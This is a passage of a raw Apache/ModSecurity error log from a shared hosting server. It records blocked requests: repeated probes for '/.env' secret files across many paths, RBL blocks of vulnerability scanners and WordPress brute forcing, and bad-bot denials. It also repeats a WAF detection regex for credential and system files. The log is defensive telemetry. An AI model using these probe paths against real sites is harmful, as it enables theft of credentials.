"Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.celadondragon.com"] [uri "/beta/content/histanddynasties/content/histanddynasties/SouthernLiang/SouthernSong/SouthMing/SouthernQi/SouthernSong/NorthernSong/SouthMing/SouthernChen/kangxi.php"] [unique_id "ai30q7V-dFiaX9AtWiQq4QABhBg"] [Sat Jun 13 18:24:12.046514 2026] [security2:error] [pid 646876:tid 647023] [client 13.140.175.37:53488] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "fantastictradeshows.com"] [uri "/media/system/js/core.js"] [unique_id "ai30rNyTkdrNlD40tSHXYQAAAA8"] [Sat Jun 13 18:24:12.063801 2026] [access_compat:error] [pid 715691:tid 715731] [remote 57.141.14.40:54220] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:12.064207 2026] [access_compat:error] [pid 715691:tid 715731] [remote 57.141.14.40:54220] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:12.138013 2026] [access_compat:error] [pid 715691:tid 715728] [remote 57.141.14.103:40008] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:12.138456 2026] [access_compat:error] [pid 715691:tid 715728] [remote 57.141.14.103:40008] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:12.307664 2026] [security2:error] [pid 715691:tid 715933] [client 142.4.31.180:33752] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "gkmasterson.com"] [uri "/app/.env"] [unique_id "ai30rLV-dFiaX9AtWiQq7QAAAWY"] [Sat Jun 13 18:24:12.307831 2026] [security2:error] [pid 715691:tid 715883] [client 142.4.31.180:33738] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "gkmasterson.com"] [uri "/member/.env"] [unique_id "ai30rLV-dFiaX9AtWiQq7gAAATQ"] [Sat Jun 13 18:24:12.308066 2026] [security2:error] [pid 646876:tid 647096] [client 142.4.31.180:33750] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "gkmasterson.com"] [uri "/bank/.env"] [unique_id "ai30rNyTkdrNlD40tSHXZwAAAFg"] [Sat Jun 13 18:24:12.308215 2026] [security2:error] [pid 646876:tid 647100] [client 142.4.31.180:33742] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "gkmasterson.com"] [uri "/.env"] [unique_id "ai30rNyTkdrNlD40tSHXaQAAAFw"] [Sat Jun 13 18:24:12.308221 2026] [security2:error] [pid 646876:tid 647045] [client 142.4.31.180:33740] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "gkmasterson.com"] [uri "/api/.env"] [unique_id "ai30rNyTkdrNlD40tSHXagAAACU"] [Sat Jun 13 18:24:12.308283 2026] [security2:error] [pid 646876:tid 647063] [client 142.4.31.180:33754] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "gkmasterson.com"] [uri "/new/.env"] [unique_id "ai30rNyTkdrNlD40tSHXaAAAADc"] [Sat Jun 13 18:24:12.308828 2026] [security2:error] [pid 646876:tid 647120] [client 142.4.31.180:33746] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "gkmasterson.com"] [uri "/backend/.env"] [unique_id "ai30rNyTkdrNlD40tSHXbAAAAHA"] [Sat Jun 13 18:24:12.309489 2026] [security2:error] [pid 646876:tid 647117] [client 142.4.31.180:33748] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "gkmasterson.com"] [uri "/core/.env"] [unique_id "ai30rNyTkdrNlD40tSHXawAAAG0"] [Sat Jun 13 18:24:12.483945 2026] [access_compat:error] [pid 715691:tid 715836] [remote 57.141.14.6:45902] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:12.484223 2026] [access_compat:error] [pid 715691:tid 715836] [remote 57.141.14.6:45902] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:12.490239 2026] [access_compat:error] [pid 646876:tid 646988] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9tb3VzZTIvZGV2aWNlL3N1YnN5c3RlbS9pbnB1dDUvY2FwYWJpbGl0aWVz [Sat Jun 13 18:24:12.490509 2026] [access_compat:error] [pid 646876:tid 646988] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9tb3VzZTIvZGV2aWNlL3N1YnN5c3RlbS9pbnB1dDUvY2FwYWJpbGl0aWVz [Sat Jun 13 18:24:12.555963 2026] [access_compat:error] [pid 715691:tid 715724] [remote 57.141.14.48:29885] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:12.556255 2026] [access_compat:error] [pid 715691:tid 715724] [remote 57.141.14.48:29885] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:12.628914 2026] [access_compat:error] [pid 715691:tid 715753] [remote 57.141.14.84:30870] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:12.629224 2026] [access_compat:error] [pid 715691:tid 715753] [remote 57.141.14.84:30870] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:13.031196 2026] [access_compat:error] [pid 646876:tid 646902] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvc3Vic3lzdGVtL2lucHV0Ng== [Sat Jun 13 18:24:13.031694 2026] [access_compat:error] [pid 646876:tid 646902] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvc3Vic3lzdGVtL2lucHV0Ng== [Sat Jun 13 18:24:13.124406 2026] [access_compat:error] [pid 646876:tid 646881] [remote 57.141.14.107:41727] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:13.124727 2026] [access_compat:error] [pid 646876:tid 646881] [remote 57.141.14.107:41727] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:13.387437 2026] [security2:error] [pid 715691:tid 715766] [remote 77.75.79.109:0] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "evilbiz.com"] [uri "/"] [unique_id "ai30rbV-dFiaX9AtWiQrCgABZzc"] [Sat Jun 13 18:24:13.387693 2026] [security2:error] [pid 715691:tid 715934] [client 77.75.79.109:0] ModSecurity: Warning. Matched phrase "Seznam" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "168"] [id "350001"] [msg "BAD BOT - Detected LOGGING"] [data "406"] [hostname "evilbiz.com"] [uri "/"] [unique_id "ai30rbV-dFiaX9AtWiQrCgABZzc"] [Sat Jun 13 18:24:13.528234 2026] [security2:error] [pid 715691:tid 715796] [remote 17.241.219.37:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 37.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30rbV-dFiaX9AtWiQrEAABOFU"] [Sat Jun 13 18:24:13.537199 2026] [access_compat:error] [pid 715691:tid 715759] [remote 57.141.14.103:40022] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:13.537616 2026] [access_compat:error] [pid 715691:tid 715759] [remote 57.141.14.103:40022] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:13.540883 2026] [access_compat:error] [pid 646876:tid 646889] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQ0L3Bvd2Vy [Sat Jun 13 18:24:13.541323 2026] [access_compat:error] [pid 646876:tid 646889] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQ0L3Bvd2Vy [Sat Jun 13 18:24:13.671746 2026] [security2:error] [pid 715691:tid 715883] [client 34.123.82.129:57380] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "itwkiosk.wmxone.com"] [uri "/.env"] [unique_id "ai30rbV-dFiaX9AtWiQrEwAAATQ"] [Sat Jun 13 18:24:13.793794 2026] [access_compat:error] [pid 715691:tid 715808] [remote 57.141.14.103:40032] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:13.794225 2026] [access_compat:error] [pid 715691:tid 715808] [remote 57.141.14.103:40032] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:14.038307 2026] [access_compat:error] [pid 646876:tid 646969] [remote 57.141.14.32:55229] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:14.038760 2026] [access_compat:error] [pid 646876:tid 646969] [remote 57.141.14.32:55229] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:14.093170 2026] [access_compat:error] [pid 715691:tid 715751] [remote 57.141.14.71:64768] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:14.097634 2026] [access_compat:error] [pid 715691:tid 715751] [remote 57.141.14.71:64768] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:14.126373 2026] [access_compat:error] [pid 646876:tid 646984] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvc3Vic3lzdGVtL2V2ZW50Ni9zdWJzeXN0ZW0vbWljZS9wb3dlcg== [Sat Jun 13 18:24:14.126848 2026] [access_compat:error] [pid 646876:tid 646984] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvc3Vic3lzdGVtL2V2ZW50Ni9zdWJzeXN0ZW0vbWljZS9wb3dlcg== [Sat Jun 13 18:24:14.142038 2026] [access_compat:error] [pid 715691:tid 715782] [remote 57.141.14.112:46474] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:14.142465 2026] [access_compat:error] [pid 715691:tid 715782] [remote 57.141.14.112:46474] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:14.523059 2026] [security2:error] [pid 715691:tid 715891] [client 34.123.82.129:39634] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "iuf.ehd.mybluehost.me"] [uri "/.env"] [unique_id "ai30rrV-dFiaX9AtWiQrOAAAATw"] [Sat Jun 13 18:24:14.580837 2026] [security2:error] [pid 646876:tid 646892] [remote 17.246.23.48:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 48.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30rtyTkdrNlD40tSHXqAAAXA0"] [Sat Jun 13 18:24:14.622688 2026] [access_compat:error] [pid 646876:tid 646996] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2UvZXZlbnQzL3N1YnN5c3RlbS9pbnB1dDQvbW91c2UxL2RldmljZQ== [Sat Jun 13 18:24:14.622978 2026] [access_compat:error] [pid 646876:tid 646996] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2UvZXZlbnQzL3N1YnN5c3RlbS9pbnB1dDQvbW91c2UxL2RldmljZQ== [Sat Jun 13 18:24:14.747452 2026] [access_compat:error] [pid 646876:tid 646990] [remote 57.141.14.18:52148] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:14.747882 2026] [access_compat:error] [pid 646876:tid 646990] [remote 57.141.14.18:52148] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:14.940834 2026] [security2:error] [pid 715691:tid 715803] [remote 190.92.141.186:56162] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.141.92.190.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "cantrade.com.sg"] [uri "/wp-login.php"] [unique_id "ai30rrV-dFiaX9AtWiQrQQABhFw"] [Sat Jun 13 18:24:14.957008 2026] [access_compat:error] [pid 715691:tid 715832] [remote 57.141.14.108:37441] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:14.957453 2026] [access_compat:error] [pid 715691:tid 715832] [remote 57.141.14.108:37441] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:15.092854 2026] [access_compat:error] [pid 646876:tid 646963] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: 